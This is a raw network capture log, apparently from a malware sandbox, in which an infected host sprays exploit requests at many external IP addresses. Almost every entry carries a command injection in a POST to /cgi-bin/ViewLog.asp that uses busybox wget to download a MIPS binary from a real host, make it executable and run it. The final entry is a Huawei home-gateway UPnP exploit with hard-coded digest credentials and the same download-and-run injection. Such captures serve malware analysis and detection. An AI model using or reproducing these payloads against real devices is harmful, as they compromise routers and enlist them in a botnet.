Nov 23, 2023 05:18:03.841984034 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
668	192.168.2.13	40504	31.200.63.217	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:03.845139027 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
669	192.168.2.13	36850	95.217.95.222	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:04.032787085 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:04.228754044 CET	212	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Date: Thu, 23 Nov 2023 04:18:04 GMT Content-Length: 18 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
670	192.168.2.13	53658	31.136.55.133	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:04.063153982 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:04.646214962 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:05.798178911 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:08.294204950 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:12.902156115 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:22.118145943 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
671	192.168.2.13	59434	94.158.131.150	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:04.090737104 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:05.222196102 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:06.534198999 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:09.318173885 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:14.694161892 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
672	192.168.2.13	59868	95.84.150.254	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:04.096684933 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:04.301285028 CET	113	IN	HTTP/1.1 400 Bad Request Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
673	192.168.2.13	52602	94.154.84.236	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:04.120994091 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:04.418226957 CET	432	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/html; charset=utf-8 Content-Length: 130 X-Frame-Options: SAMEORIGIN Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
674	192.168.2.13	35776	94.23.217.178	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:04.243689060 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:04.420746088 CET	142	IN	HTTP/1.0 400 Bad Request Data Raw: 43 6c 69 65 6e 74 20 73 65 6e 74 20 61 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 74 6f 20 61 6e 20 48 54 54 50 53 20 73 65 72 76 65 72 2e 0a Data Ascii: Client sent an HTTP request to an HTTPS server.

Session ID	Source IP	Source Port	Destination IP	Destination Port
675	192.168.2.13	53074	31.136.33.240	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:04.247555971 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:04.806204081 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:05.926187992 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:08.294198990 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:12.902173996 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:21.862144947 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
676	192.168.2.13	52680	156.235.108.51	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:04.763609886 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
